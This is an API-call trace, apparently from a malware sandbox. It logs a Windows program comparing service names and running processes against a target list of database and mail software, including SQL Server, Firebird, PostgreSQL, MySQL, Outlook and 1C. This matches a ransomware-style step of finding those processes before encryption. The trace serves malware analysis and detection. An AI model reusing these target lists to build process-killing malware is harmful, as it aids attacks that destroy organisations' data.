	[0093.287] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0093.287] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0093.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0093.287] lstrlenW (lpString="eventlog") returned 8
	[0093.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0093.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0093.287] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0093.287] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0093.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0093.287] lstrlenW (lpString="EventSystem") returned 11
	[0093.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0093.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0093.287] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0093.287] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0093.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0093.287] lstrlenW (lpString="gpsvc") returned 5
	[0093.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0093.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0093.287] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0093.287] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0093.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0093.287] lstrlenW (lpString="iphlpsvc") returned 8
	[0093.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0093.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0093.287] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0093.288] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0093.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0093.288] lstrlenW (lpString="LanmanServer") returned 12
	[0093.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0093.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0093.288] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0093.288] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0093.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0093.288] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0093.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0093.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0093.288] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0093.288] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0093.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0093.288] lstrlenW (lpString="lmhosts") returned 7
	[0093.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0093.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0093.288] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0093.288] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0093.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0093.288] lstrlenW (lpString="MMCSS") returned 5
	[0093.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0093.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0093.288] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0093.288] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0093.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0093.288] lstrlenW (lpString="MpsSvc") returned 6
	[0093.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0093.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0093.289] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0093.289] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0093.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0093.289] lstrlenW (lpString="Netman") returned 6
	[0093.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0093.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0093.289] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0093.289] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0093.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0093.289] lstrlenW (lpString="netprofm") returned 8
	[0093.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0093.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0093.289] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0093.289] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0093.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0093.289] lstrlenW (lpString="NlaSvc") returned 6
	[0093.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0093.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0093.289] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0093.289] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0093.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0093.289] lstrlenW (lpString="nsi") returned 3
	[0093.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0093.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0093.289] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0093.289] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0093.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0093.290] lstrlenW (lpString="PcaSvc") returned 6
	[0093.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0093.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0093.290] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0093.290] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0093.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0093.290] lstrlenW (lpString="PlugPlay") returned 8
	[0093.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0093.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0093.290] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0093.290] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0093.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0093.290] lstrlenW (lpString="Power") returned 5
	[0093.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0093.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0093.290] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0093.290] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0093.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0093.290] lstrlenW (lpString="ProfSvc") returned 7
	[0093.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0093.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0093.290] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0093.290] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0093.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0093.290] lstrlenW (lpString="RpcEptMapper") returned 12
	[0093.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0093.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0093.290] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0093.290] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0093.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0093.290] lstrlenW (lpString="RpcSs") returned 5
	[0093.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0093.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0093.291] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0093.291] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0093.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0093.291] lstrlenW (lpString="SamSs") returned 5
	[0093.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0093.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0093.291] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0093.291] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0093.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0093.291] lstrlenW (lpString="Schedule") returned 8
	[0093.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0093.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0093.291] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0093.291] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0093.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0093.291] lstrlenW (lpString="SENS") returned 4
	[0093.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0093.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0093.291] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0093.291] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0093.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0093.291] lstrlenW (lpString="ShellHWDetection") returned 16
	[0093.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0093.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0093.291] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0093.291] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0093.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0093.291] lstrlenW (lpString="Spooler") returned 7
	[0093.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0093.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0093.292] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0093.292] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0093.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0093.292] lstrlenW (lpString="SysMain") returned 7
	[0093.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0093.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0093.292] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0093.292] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0093.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0093.292] lstrlenW (lpString="Themes") returned 6
	[0093.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0093.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0093.292] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0093.292] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0093.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0093.292] lstrlenW (lpString="TrkWks") returned 6
	[0093.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0093.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0093.292] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0093.292] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0093.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0093.292] lstrlenW (lpString="UxSms") returned 5
	[0093.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0093.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0093.292] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0093.292] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0093.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0093.292] lstrlenW (lpString="WdiServiceHost") returned 14
	[0093.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0093.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0093.293] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0093.293] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0093.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0093.293] lstrlenW (lpString="WdiSystemHost") returned 13
	[0093.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0093.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0093.293] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0093.293] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0093.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0093.293] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0093.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0093.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0093.293] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0093.293] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0093.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0093.293] lstrlenW (lpString="Winmgmt") returned 7
	[0093.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0093.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0093.293] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0093.293] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0093.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0093.293] lstrlenW (lpString="WPDBusEnum") returned 10
	[0093.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0093.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0093.293] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0093.293] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0093.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0093.293] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4ee030 | out: hHeap=0x4a0000) returned 1
	[0093.293] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19c
	[0093.296] Process32FirstW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0093.301] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0093.302] lstrlenW (lpString="System") returned 6
	[0093.302] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0093.302] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0093.302] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0093.302] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0093.302] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0093.302] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0093.302] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0093.302] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0093.303] lstrlenW (lpString="smss.exe") returned 8
	[0093.303] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0093.303] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0093.303] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0093.303] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0093.303] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0093.303] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0093.303] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0093.303] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0093.304] lstrlenW (lpString="csrss.exe") returned 9
	[0093.304] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0093.304] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0093.304] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0093.304] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0093.304] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0093.304] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0093.304] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0093.304] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0093.305] lstrlenW (lpString="wininit.exe") returned 11
	[0093.305] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0093.305] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0093.305] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0093.305] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0093.305] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0093.305] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0093.306] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0093.306] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0093.306] lstrlenW (lpString="csrss.exe") returned 9
	[0093.306] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0093.306] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0093.306] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0093.306] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0093.306] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0093.306] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0093.307] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0093.307] lstrlenW (lpString="winlogon.exe") returned 12
	[0093.307] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0093.308] lstrlenW (lpString="services.exe") returned 12
	[0093.308] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0093.309] lstrlenW (lpString="lsass.exe") returned 9
	[0093.309] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0093.309] lstrlenW (lpString="lsm.exe") returned 7
	[0093.309] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0093.310] lstrlenW (lpString="svchost.exe") returned 11
	[0093.310] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0093.311] lstrlenW (lpString="svchost.exe") returned 11
	[0093.311] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0093.311] lstrlenW (lpString="svchost.exe") returned 11
	[0093.311] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0093.312] lstrlenW (lpString="svchost.exe") returned 11
	[0093.312] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0093.313] lstrlenW (lpString="svchost.exe") returned 11
	[0093.313] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0093.313] lstrlenW (lpString="audiodg.exe") returned 11
	[0093.313] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0093.314] lstrlenW (lpString="svchost.exe") returned 11
	[0093.314] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0093.315] lstrlenW (lpString="svchost.exe") returned 11
	[0093.315] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0093.315] lstrlenW (lpString="dwm.exe") returned 7
	[0093.315] Process32NextW (in: hSnapshot=0x19c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0093.316] lstrlenW (lpString="explorer.exe") returned 12
